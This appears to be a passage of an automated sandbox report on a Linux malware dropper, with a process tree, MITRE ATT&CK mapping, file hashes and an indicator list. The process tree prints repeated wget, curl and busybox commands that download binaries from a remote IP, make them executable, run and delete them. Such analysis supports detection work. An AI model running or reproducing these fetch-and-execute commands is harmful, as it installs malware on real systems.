  rm sREUD4bAYjNR4i9k8cVAygDGcJ5w3VjSfu
  2⤵
  PID:963
- /usr/bin/wget
  wget http://216.126.231.240/bins/mmCEnRhvLGLJYSX64sZg9j8E66SjjCtodB
  2⤵
  PID:964
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/mmCEnRhvLGLJYSX64sZg9j8E66SjjCtodB
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:965
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/mmCEnRhvLGLJYSX64sZg9j8E66SjjCtodB
  2⤵
  PID:966
- /bin/chmod
  chmod 777 mmCEnRhvLGLJYSX64sZg9j8E66SjjCtodB
  2⤵
  - File and Directory Permissions Modification
  PID:967
- /tmp/mmCEnRhvLGLJYSX64sZg9j8E66SjjCtodB
  ./mmCEnRhvLGLJYSX64sZg9j8E66SjjCtodB
  2⤵
  - Executes dropped EXE
  PID:968
- /bin/rm
  rm mmCEnRhvLGLJYSX64sZg9j8E66SjjCtodB
  2⤵
  PID:969
- /usr/bin/wget
  wget http://216.126.231.240/bins/p0eOqhbajIk1Gf8rz6cBamMvDfFKZD8NJu
  2⤵
  PID:970
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/p0eOqhbajIk1Gf8rz6cBamMvDfFKZD8NJu
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:971
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/p0eOqhbajIk1Gf8rz6cBamMvDfFKZD8NJu
  2⤵
  PID:972
- /bin/chmod
  chmod 777 p0eOqhbajIk1Gf8rz6cBamMvDfFKZD8NJu
  2⤵
  - File and Directory Permissions Modification
  PID:973
- /tmp/p0eOqhbajIk1Gf8rz6cBamMvDfFKZD8NJu
  ./p0eOqhbajIk1Gf8rz6cBamMvDfFKZD8NJu
  2⤵
  - Executes dropped EXE
  PID:974
- /bin/rm
  rm p0eOqhbajIk1Gf8rz6cBamMvDfFKZD8NJu
  2⤵
  PID:975
- /usr/bin/wget
  wget http://216.126.231.240/bins/iL9Baoqh9639Ag7W5BeyO5INx1k0eyvaSq
  2⤵
  PID:976
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/iL9Baoqh9639Ag7W5BeyO5INx1k0eyvaSq
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:977
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/iL9Baoqh9639Ag7W5BeyO5INx1k0eyvaSq
  2⤵
  PID:978
- /bin/chmod
  chmod 777 iL9Baoqh9639Ag7W5BeyO5INx1k0eyvaSq
  2⤵
  - File and Directory Permissions Modification
  PID:979
- /tmp/iL9Baoqh9639Ag7W5BeyO5INx1k0eyvaSq
  ./iL9Baoqh9639Ag7W5BeyO5INx1k0eyvaSq
  2⤵
  - Executes dropped EXE
  PID:980
- /bin/rm
  rm iL9Baoqh9639Ag7W5BeyO5INx1k0eyvaSq
  2⤵
  PID:981
- /usr/bin/wget
  wget http://216.126.231.240/bins/fcSAke9uZi95dTR1RIhwpynGlzaAdr8oZG
  2⤵
  PID:982
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/fcSAke9uZi95dTR1RIhwpynGlzaAdr8oZG
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:983
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/fcSAke9uZi95dTR1RIhwpynGlzaAdr8oZG
  2⤵
  PID:984
- /bin/chmod
  chmod 777 fcSAke9uZi95dTR1RIhwpynGlzaAdr8oZG
  2⤵
  - File and Directory Permissions Modification
  PID:985
- /tmp/fcSAke9uZi95dTR1RIhwpynGlzaAdr8oZG
  ./fcSAke9uZi95dTR1RIhwpynGlzaAdr8oZG
  2⤵
  - Executes dropped EXE
  PID:986
- /bin/rm
  rm fcSAke9uZi95dTR1RIhwpynGlzaAdr8oZG
  2⤵
  PID:987

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

xL3BQUpc8QAJ70F326FRFc6CGhA6wWoiEr

Path /tmp/xL3BQUpc8QAJ70F326FRFc6CGhA6wWoiEr
Size 153B
SHA256 533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
MD5 998368d7c95ea4293237f2320546e440
SHA1 30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4
SHA512 648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97
MD5 SHA1 SHA512

Submit Download

ioc	pid	Process
/tmp/xL3BQUpc8QAJ70F326FRFc6CGhA6wWoiEr	746	xL3BQUpc8QAJ70F326FRFc6CGhA6wWoiEr
/tmp/VeKZnCbz7l8zFDOy3S883dxkZAHJU6iJEt	774	VeKZnCbz7l8zFDOy3S883dxkZAHJU6iJEt
/tmp/zRqliBxGfoi6bhiIWFrbyd0pvfwHWgyiTe	803	zRqliBxGfoi6bhiIWFrbyd0pvfwHWgyiTe
/tmp/UzqrseNIB42yZ4g3ddJHk8gkuGuCdI8OeJ	809	UzqrseNIB42yZ4g3ddJHk8gkuGuCdI8OeJ
/tmp/qmio2gaKVX02n509oQy4KgfiKqMAIRc2P5	843	qmio2gaKVX02n509oQy4KgfiKqMAIRc2P5
/tmp/x4JynfPQw05ViG71QjtgffqW7ywb6hIHkG	851	x4JynfPQw05ViG71QjtgffqW7ywb6hIHkG
/tmp/4jpwcHjPndQyGOPAW0AUIPvbLF56znfoiQ	857	4jpwcHjPndQyGOPAW0AUIPvbLF56znfoiQ
/tmp/rmzbmtxGB0Mi8A05Q0F8XElCVOVmdog43f	863	rmzbmtxGB0Mi8A05Q0F8XElCVOVmdog43f
/tmp/bNZBqLkAkEuRYQ7pHBn03H3lf7tS98btXQ	872	bNZBqLkAkEuRYQ7pHBn03H3lf7tS98btXQ
/tmp/mmCEnRhvLGLJYSX64sZg9j8E66SjjCtodB	878	mmCEnRhvLGLJYSX64sZg9j8E66SjjCtodB
/tmp/sREUD4bAYjNR4i9k8cVAygDGcJ5w3VjSfu	884	sREUD4bAYjNR4i9k8cVAygDGcJ5w3VjSfu
/tmp/iL9Baoqh9639Ag7W5BeyO5INx1k0eyvaSq	890	iL9Baoqh9639Ag7W5BeyO5INx1k0eyvaSq
/tmp/fcSAke9uZi95dTR1RIhwpynGlzaAdr8oZG	896	fcSAke9uZi95dTR1RIhwpynGlzaAdr8oZG
/tmp/p0eOqhbajIk1Gf8rz6cBamMvDfFKZD8NJu	902	p0eOqhbajIk1Gf8rz6cBamMvDfFKZD8NJu
/tmp/UzqrseNIB42yZ4g3ddJHk8gkuGuCdI8OeJ	908	UzqrseNIB42yZ4g3ddJHk8gkuGuCdI8OeJ
/tmp/xL3BQUpc8QAJ70F326FRFc6CGhA6wWoiEr	914	xL3BQUpc8QAJ70F326FRFc6CGhA6wWoiEr
/tmp/VeKZnCbz7l8zFDOy3S883dxkZAHJU6iJEt	920	VeKZnCbz7l8zFDOy3S883dxkZAHJU6iJEt
/tmp/zRqliBxGfoi6bhiIWFrbyd0pvfwHWgyiTe	926	zRqliBxGfoi6bhiIWFrbyd0pvfwHWgyiTe
/tmp/bNZBqLkAkEuRYQ7pHBn03H3lf7tS98btXQ	932	bNZBqLkAkEuRYQ7pHBn03H3lf7tS98btXQ
/tmp/qmio2gaKVX02n509oQy4KgfiKqMAIRc2P5	938	qmio2gaKVX02n509oQy4KgfiKqMAIRc2P5
/tmp/x4JynfPQw05ViG71QjtgffqW7ywb6hIHkG	944	x4JynfPQw05ViG71QjtgffqW7ywb6hIHkG
/tmp/4jpwcHjPndQyGOPAW0AUIPvbLF56znfoiQ	950	4jpwcHjPndQyGOPAW0AUIPvbLF56znfoiQ
/tmp/rmzbmtxGB0Mi8A05Q0F8XElCVOVmdog43f	956	rmzbmtxGB0Mi8A05Q0F8XElCVOVmdog43f
/tmp/sREUD4bAYjNR4i9k8cVAygDGcJ5w3VjSfu	962	sREUD4bAYjNR4i9k8cVAygDGcJ5w3VjSfu
/tmp/mmCEnRhvLGLJYSX64sZg9j8E66SjjCtodB	968	mmCEnRhvLGLJYSX64sZg9j8E66SjjCtodB
/tmp/p0eOqhbajIk1Gf8rz6cBamMvDfFKZD8NJu	974	p0eOqhbajIk1Gf8rz6cBamMvDfFKZD8NJu
/tmp/iL9Baoqh9639Ag7W5BeyO5INx1k0eyvaSq	980	iL9Baoqh9639Ag7W5BeyO5INx1k0eyvaSq
/tmp/fcSAke9uZi95dTR1RIhwpynGlzaAdr8oZG	986	fcSAke9uZi95dTR1RIhwpynGlzaAdr8oZG